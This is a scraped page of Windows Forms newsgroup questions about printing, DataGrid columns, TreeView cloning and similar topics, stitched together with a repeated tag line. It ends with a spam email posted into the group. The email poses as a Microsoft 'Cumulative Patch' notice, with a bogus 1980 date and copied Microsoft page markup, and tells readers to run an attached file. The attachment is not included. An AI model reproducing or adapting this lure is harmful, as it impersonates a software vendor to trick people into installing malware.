Printing a WinForm including an embedded IE HTML control
Folks,
I have a WinForms app which shows HTML text snippets in an embedded
MSHTML control.
Now, I need to be able to print the whole thing - how can I do this?
Is there an easy way to set up a page so I can print some stuff from
my WinForms controls (text boxes etc.), and include the HTML formatted
text in the middle of it (obviously showing the HTML formatting, like
bold, italic etc.)
Can't seem to make all ends meet - I can tell the HTML control to
print itself, but then the IE control takes over and just prints
itself - nothing else. I can't really just grab the HTML source code
from the HTML control either - I want to have it print formatted, not
in HTML source.....
Any takers??
Marc
================================================================
Marc Scheuner May The Source Be With You!
Bern, Switzerland m.scheuner(at)inova.ch Tag: Directory dialog box Tag: 58547
Find out the form caption font
Hi,
how do I find out the font that is used in the form
caption? I don't want to change it, just read it.
I looked in System.Windows.Forms.SystemInformation, but
there is no property there. I spent some time sifting
through the docs, but didn't find anything. Does anyone
know?
Thanks,
Henrik Tag: Directory dialog box Tag: 58546
ListView columnHeaders
How Can I put small images next to text in my listView
columnHeaders, in order to show to user the sorted column ? Tag: Directory dialog box Tag: 58541
SupportsTransparentBackColor
I have a smooth progress bar and, in time honoured fashion, wish to display
the progression percentage in the middle of the bar.
I naturally wish to have the text transparent but am struggling to
incorporate this enum.
I have set the flag to true for my control, but cannot then load it to a
form.
Any suggestions?
Tony Tag: Directory dialog box Tag: 58537
call c function
hi,everybody,
I create a C# windows application. Can I call a C function
in the application?
Thanks Tag: Directory dialog box Tag: 58536
run crystal report .net version in win98
When i deploy an window application to win98 and want to view the crystal
report .net version, it fails, but it works in win2k, why is that? Do i need
to do anything else? thz Tag: Directory dialog box Tag: 58534
DataGridTextBoxColumn Event
Hi all, Need some help here.
I have created my own DataGridTextBoxColumn and
DataGridTableStyle and have bound this to the DataGrid.
I am trying to capture the text changed event on a
DataGridTextBoxColumn. I need an event to be triggered
when the user either edit's text in the textbox, or tabs
on textbox, hits enter key, or presses up/down/right/left
keys.
I tried capturing the LostFocus & Leave events on the
DataGridTextBoxColumn. These events fires only if the
users hits tab on the column. It does not fire on hitting
enter key.
The TextChanged event fires for each character typed,
which probably I think I should be using to check for
integrity of data, but then how do I tell once the user
has finished typing.
Can anyone help me in this context.
Let me know if you still need more explanation.
Thanks Tag: Directory dialog box Tag: 58523
Deploy smart client as part of ASP.NET project - problem with .DLL / .EXE?
There is a small windows forms piece to a larger ASP.NET application
that integrates and uses web services.
I have done some experimenting on the deployment side of things, and
it appears that when I either embed the forms control in a page, and
thus reference the DLL assembly, or when I link to a standalone EXE,
the web server (IIS) tries to process the EXE or DLL as if were going
to execute a CGI program and return a reponse.
Instead, I want IIS to simply "download" the EXE or DLL... I have
found I can work around this by deploying my assemblies in another
virtual web folder, but I would like to deploy everything all in one
place. I imagine there must be an easy configuration setting to turn
off IIS's processing of the EXE and DLL files (since it is handling
them differently than, say, a .HTM file).
Ideas? Tag: Directory dialog box Tag: 58519
Reading content from an Excel file via a .NET application
I am looking for good documentation and preferably C#
sample code to show how to read content from an Excel
file via a .NET (Windows Form) application. I want to
access the Excel object model (for Excel 2003) from my
application. My .NET application will provide a
filename and location, open the excel file, read content
from specific locations within the spreadsheet, and then
close the Excel file.
I have searched MSDN and GotDotNet and seen documentation
for the Excel object model and several code samples. But
the paradigm seems to be different in these examples, in
that that are oriented for responding to events when a
user opens an Excel file, rather than my paradigm being
that a .NET application needs to proactively open an
Excel file and then read or manipulate it from the
external application.
I'm somewhat new to C# and to .NET, so forgive me if my
question is not phrased in correct terminology.
Thanks for any help,
Cheers,
Bruce Tag: Directory dialog box Tag: 58517
ListView ColumnHeaders
How can I display a small image in my listView
headerColumns, so that we can see the sort order ? Tag: Directory dialog box Tag: 58513
.NET Windows authentication
I have a vb.net application that connects to Web Service
pages *.asmx running on a local instance of IIS. These
webservices connect to a SQL server on another machine.
The web services are set to impersonate user, and Windows
authentication. All is well.
Next, I moved the webservices to another server running
IIS, which happens to be the SAME machine as SQL server
that these services connect to. My app can connect to the
Web service pages, but the web service fails to propgate
the CLIENT user/login credentials to the SQL server, and
it uses the NT AUTHORITY\Anonymous account for some reason.
I can't figure it out, but I've heard mention of similar
issues being solved with modifications to
Machine.config... any ideas?
The point of this is that I want to use the SQL SUSER_SNAME
() functions to restrict/change the views in SQL, so that
function needs to return the username of the authenticated
client. Tag: Directory dialog box Tag: 58511
Visual Basic IsDBNull check crashing
The following code produces a "null error" if the SQL
database column is null:
If Not IsDBNull(DsUnit1.Unit(0).TechID) Then
cmbxTechFName.SelectedValue = DsUnit1.Unit
(0).TechID
cmbxTechLName.SelectedValue = DsUnit1.Unit
(0).TechID
End If
The TechID column is defined as a integer and can be
null. The error occurs on the If statement (ie. not the
code following the Then statement). Hope someone can
point me in the right direction! Tag: Directory dialog box Tag: 58509
How to launch an App within and App
Hi all,
Either I am missing something or this can't be done. I have two apps
(C#) that I want to launch from a shell app. This will eventually be
targeted for the PocketPC. I guess ideally reusing the same form would
be nice, unless it would be too slow (I was thinking about size). How
is this done?
mark Tag: Directory dialog box Tag: 58504
printing using the AxWebBrowser
I'm using the AxWebBrowser within my application to
display an html page. I've already have a print button on
my application and when the user presses this I would like
to print the html. How can I get the AxWebBrowser object
to print? I know that I can print from the right menu, but
I would like to disable the menu if I can. Thanks.
Brenda Tag: Directory dialog box Tag: 58494
PLEASE: Problem with TreeView, TreeNode Inherit
Hi all
I have made my own Treeview Class with some additional
properties.
Now I am trying to clone Treenodes (Root), and it works
fine if I use System.Windows.Forms.TreeNode. If I use
my own class and debug it I see in the Locals Window
that the nodes have been cloned, but nothing happens
in the TreeView...
Following I have pasted the code of the class and how
I am testing it.
Thanks for any help!
Regards
Frank
-*********** The class
Public Class Cls_firstTreeView
Inherits System.Windows.Forms.TreeView
Implements ICloneable
Public Shadows Property SelectedNode() As
Cls_firstTreeNode
Get
Return CType(MyBase.SelectedNode,
Cls_firstTreeNode)
End Get
Set(ByVal Value As Cls_firstTreeNode)
MyBase.SelectedNode = Value
End Set
End Property
Public Function Clone() As Object Implements
ICloneable.Clone
Return Me.MemberwiseClone
End Function
End Class
Public Class Cls_firstTreeNode
Inherits System.Windows.Forms.TreeNode
Private var_Key As String
Private var_Key1 As String
Private var_Key2 As String
Private var_Key3 As String
Private var_Key4 As String
Private var_Key5 As String
Private var_PK As Integer
Public Overrides Function Clone() As Object
Return Me.MemberwiseClone
End Function
Public Sub New(Optional ByVal Text As String = "",
Optional ByVal Key As String = "", Optional ByVal Key1 As
String = "", Optional ByVal Key2 As String = "", Optional
ByVal Key3 As String = "", Optional ByVal Key4 As String
= "", Optional ByVal Key5 As String = "", Optional ByVal
PK As Integer = 0)
MyBase.New(Text)
var_Key = Key
var_Key1 = Key1
var_Key2 = Key2
var_Key3 = Key3
var_Key4 = Key4
var_Key5 = Key5
var_PK = PK
End Sub
Public Shadows Function Add(ByVal Text As String,
ByVal Key As String, Optional ByVal Key1 As String = "",
Optional ByVal Key2 As String = "", Optional ByVal Key3 As
String = "", Optional ByVal Key4 As String = "", Optional
ByVal Key5 As String = "", Optional ByVal PK As Integer =
0) As Cls_firstTreeNode
MyBase.Nodes.Add(Text)
var_Key = Key
var_Key1 = Key1
var_Key2 = Key2
var_Key3 = Key3
var_Key4 = Key4
var_Key5 = Key5
var_PK = PK
End Function
Public Shadows Function Add(ByVal TreeNode As
Cls_firstTreeNode) As Integer
MyBase.Nodes.Add(TreeNode)
var_Key = Key
var_Key1 = Key1
var_Key2 = Key2
var_Key3 = Key3
var_Key4 = Key4
var_Key5 = Key5
var_PK = PK
End Function
Public Property Key() As String
Get
Return var_Key
End Get
Set(ByVal Value As String)
var_Key = Value
End Set
End Property
Public Property Key1() As String
Get
Return var_Key1
End Get
Set(ByVal Value As String)
var_Key1 = Value
End Set
End Property
Public Property Key2() As String
Get
Return var_Key2
End Get
Set(ByVal Value As String)
var_Key2 = Value
End Set
End Property
Public Property Key3() As String
Get
Return var_Key3
End Get
Set(ByVal Value As String)
var_Key3 = Value
End Set
End Property
Public Property Key4() As String
Get
Return var_Key4
End Get
Set(ByVal Value As String)
var_Key4 = Value
End Set
End Property
Public Property Key5() As String
Get
Return var_Key5
End Get
Set(ByVal Value As String)
var_Key5 = Value
End Set
End Property
Public Property PK() As Integer
Get
Return var_PK
End Get
Set(ByVal Value As Integer)
var_PK = Value
End Set
End Property
End Class
-*********** How I am testing
Dim MyTreeView As New
firstTreeView.Cls_firstTreeView()
Dim MyRootNode1 As New
firstTreeView.Cls_firstTreeNode("Root X1")
MyRootNode1.Key = "Key Root X1"
Dim MyRootNode2 As New
firstTreeView.Cls_firstTreeNode("Root X2")
MyRootNode2.Key = "Key Root X2"
Dim MyChildNode1 As New
firstTreeView.Cls_firstTreeNode("Child X1")
MyChildNode1.Key = "Key Child X1"
Dim MyChildNode2 As New
firstTreeView.Cls_firstTreeNode("Child X2")
MyChildNode2.Key = "Key Child X2"
MyRootNode1.Nodes.Add(MyChildNode1)
MyRootNode2.Nodes.Add(MyChildNode2)
MyTreeView.Nodes.Add(MyRootNode1)
MyTreeView.Nodes.Add(MyRootNode2)
Dim RootNodes As New
firstTreeView.Cls_firstTreeNode()
Me.TreeView1.BeginUpdate()
For Each RootNodes In MyTreeView.Nodes
Me.TreeView1.Nodes.Add(CType(RootNodes.Clone,
firstTreeView.Cls_firstTreeNode))
Next
Me.TreeView1.EndUpdate()
Me.TreeView1.Refresh() Tag: Directory dialog box Tag: 58479
overriding form close button
Probably a silly question, but I am having trouble
figuring out how to interrupt the close button on a
Windows form and thereby prevent the application from
actually unloading.
Any suggestions appreciated. Tag: Directory dialog box Tag: 58476
Goto a line number in a text box?
Is there a way to go to and select a particular line
number in a text box or rich text box?
I already know the line number that I need to go to.
Thanks in advance for any help you can provide. Tag: Directory dialog box Tag: 58475
Best book about authoring custom controls for Windows Forms (in C#)...
I am an intermediate level software engineer with several years experience
in C++ and about six months experience in C#. I'm trying to ramp up on .NET,
and I'm looking for a good book about authoring custom controls for Windows
Forms (in C#). I would prefer the book to cover some GDI+ concepts as well.
I'm leaning toward , "Windows Forms Programming in C#", by Chris Sells. Does
anyone have any feedback about this book or suggestions about other books?
Thanks in advance - Jason Tag: Directory dialog box Tag: 58471
Best book about authoring custom controls for Windows Forms (in C#)...
I am an intermediate level software engineer with several years experience
in C++ and about six months experience in C#. I'm trying to ramp up on .NET,
and I'm looking for a good book about authoring custom controls for Windows
Forms (in C#). I would prefer the book to cover some GDI+ concepts as well.
I'm leaning toward , "Windows Forms Programming in C#", by Chris Sells. Does
anyone have any feedback about this book or suggestions about other books?
Thanks in advance - Jason Tag: Directory dialog box Tag: 58470
hide column(s) in windows datagrid
Hey group!
I have worked with ASP.NET Webforms for quite a long time, and about a month
ago I started working with VB.NET Windows Forms.
And I found the Datagrid control to be a bit different from the Webforms
control.
Above all because I had to design Table And Column Styles, and I Don't know
how to make a Column invisible.
(following other option that's not width = 0).
I believe that if I set a MappingName for a column, this sets a relation
between the column and the Datatable Column Name.
But what If I want to hide the ID Column? and Can I just show the fields I
want instead of receiving all the columns from the Datasource? (Dataset in
this case)
I hope my english is clear enough.
thanx in advance
Ignacio. Tag: Directory dialog box Tag: 58467
Login Screen....
Hello All,
Can somebody tell me how to go about creating a form
that looks just like the windows login but isn't. I have a
client that want to make people log into the this
particular web application and then the app is supposed to
keep it's own time and when thirty minutes pass have the
login pop-up agian and force another login. Of course this
all has to be done using the network login to
authenticate. They are asking that I build a windows like
login screen (Prefferably exactly like it. If not that
one). I'm using ASP.NET to develop this if that helps.
Could you please point me in a direction that may give an
example or two or three. Any help would be greatly
appreciated.
Jim Beatty, Tag: Directory dialog box Tag: 58466
How to determine reason for a form closing
In "classic" VB, you could easily determine (on one of the events) why a
form was being closed. For example, "Workstation Shutdown", "App
termination", "X button clicked", etc. How can you do this in .NET?
Specifically i am looking to determine when the user clicks the X button
on the title bar, i want to override the behaviour of that button so that
instead of closing the form, it simply hides the form.
Is there any intrinsic way to do this in VB.NET as in VB6, or is it now
necessary to actually sub-class the window and watch for the associated
message of that button?
Thanks in advance,
- Aaron. Tag: Directory dialog box Tag: 58464
Form events in inherited controls
How can I access, register to a event which is fired in my
WinForm class from a inherited textbox.
I want to register to the event in my inherited textbox
class.
Is this possible?
Thanks Tag: Directory dialog box Tag: 58455
Lost inherited controls???
Hello all,
I have a class library project from where i´m inheriting a "baseform" to a
winForm project. My problem is that all the controls that i´ve added to the
"baseform" can´t be seen in the visual designer or when run the solution.
All controls still exists in the codefile...
Thanx in advance...
/Bobby Tag: Directory dialog box Tag: 58448
Faulty App.config is destroying WinForms !
Hello,
If you change your </AppSettings> ending tag with </Appsettings>
(without uppercase 'S'), you get an 'invalid' App.config.
Now if you close your winforms and open them again, you loose their
content.
Have anyone noticed this ?
Regards,
Cybertof. Tag: Directory dialog box Tag: 58445
VersionNotFoundException when accessing column value from DataRow
I have a custom combo columnstyle for my grid.
In the paint method of it I am accessing the value of the column for
that row using the following method
GetColumnValueAtRow(source, RowNum)
Its throwing VersionNotFoundException. Says No original version of
data exists
I have tried using
myRowView[<myCol>]
to get the value, even that one is raising the same exception.
The datarowversion of the Row is Newly Added one.
It doesn't happen always, it happens only sometimes, can anybody
please provide me a workaround or correct me for this.
Can anybody from Microsoft help me out, seems to be a bug in
framework.
Thanks in Advance,
Shravan. Tag: Directory dialog box Tag: 58441
Docking bug?
Hi,
I have an MDI application with a couple of forms in it. Some of these forms
are search forms that are supposed to dock to the right of the mdi
application. The weird part is that if you open one of these searchforms
they open at the windows default location and will not dock until another
form is open. If another form is already open it docks as it should.
What did I miss?
Thanks
/Johan Tag: Directory dialog box Tag: 58435
Graphical Editor
I have to create the Graphical Editor on the top our windows application
Currently is VB style , but should be migrated to .NET
Please shed light upon creating Graphical Editor (drag and drop, connection
line) like Rational Rose, Visual Modeller. I am looking the algorithm Tag: Directory dialog box Tag: 58425
Databinding Expressions?
Is it possible to Databind to an expression? I have a collection of classes
and one of the properties returns a boolean value. I'm trying to databind
to the "inverse" of the boolean value as such
TextBox1.DataBindings.Add("ReadOnly",customers,"IsActive");
I need to bind this to the Inverse of IsActive (!IsActive) and not IsActive
itself ... it this possible?
Thanx
Chike, London Tag: Directory dialog box Tag: 58424
Combo Box in DataGrid
How can I add a combo box in datagrid? Is there any
article in the web that I can read that actually do this?
Thanks Tag: Directory dialog box Tag: 58422
Only one app running at a time
Hi,
Anyone knows the answer to this one: I have .NET application that I want to
allow at most one to be running at any given time. If one is already running
bring it to the front if someone tries to run it again. This seems pretty
standard in Win32 but I just wonder if there is .NET way to do the same
without pinvoke. Appreciate it. Thanks.
Tom Tag: Directory dialog box Tag: 58418
Collection item property
Hi,
I have a collection class derived from CollectionBase. This collection can
add items of my class MyItem. In my class MyItem, I have a Selected
property. When this property is set to true, I have to set this property to
false for all other items in the collection (only 1 item can be selected).
How can I do that?
Thanks
Marc Tag: Directory dialog box Tag: 58414
List of buttons
I would like to create a custom control which acts like a ListView, but
also contains a list of buttons. The control would have one column of text
values and the second column would contain a button for each corresponding
text value. In my particular example, the button is something the user can
click to set the style associated with the text value. I am trying to
figure out which control in the framework to use to implement such a
control, either by using it directly or deriving from it. Any suggestions?
It seems that the hard part it being able to display a list of custom
buttons, which are user controls themselves. Any help would be appreciated.
Thanks
Chuck Tag: Directory dialog box Tag: 58412
TreeNodesCollection
Hi again
Having still a problem with Treenodes...
On a existing Treeview, there is a Collection
called Treeview.nodes.
How can I copy this collection to another treeview??
Thanks for any ideas.
Frank Tag: Directory dialog box Tag: 58410
datagrid currency format problem
I am using a windows forms datagrid and am using a table style to add
formating to columns.
I have a curency column like so
DataGridTextBoxColumn SalePriceCol=new DataGridTextBoxColumn();
SalePriceCol.MappingName="SalePrice";
SalePriceCol.HeaderText="Sale Price";
SalePriceCol.Format="c";
SalePriceCol.Alignment=HorizontalAlignment.Center;
ts.GridColumnStyles.Add(SalePriceCol);
When I run the program and try to edit the column and type anything other
that an integer,
The column returns to the previous value. I would like to enter values like
1500.68 and have the grid
accept these values.
Any ideas,
Thanks,
Paul Tag: Directory dialog box Tag: 58405
Apply that important patch for Windows
--clripfbnfensawltm
Content-Type: multipart/related; boundary="vubervhxuc";
type="multipart/alternative"
--vubervhxuc
Content-Type: multipart/alternative; boundary="lvtthagqpwwj"
--lvtthagqpwwj
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft User
this is the latest version of security update, the
"January 1980, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
--lvtthagqpwwj
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:mbpssqb" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft User<BR><BR>
this is the latest version of security update, the
"January 1980, Cumulative Patch" update which resolves
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:afkvcls" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:afkvcls" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:afkvcls" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:afkvcls" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:afkvcls" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</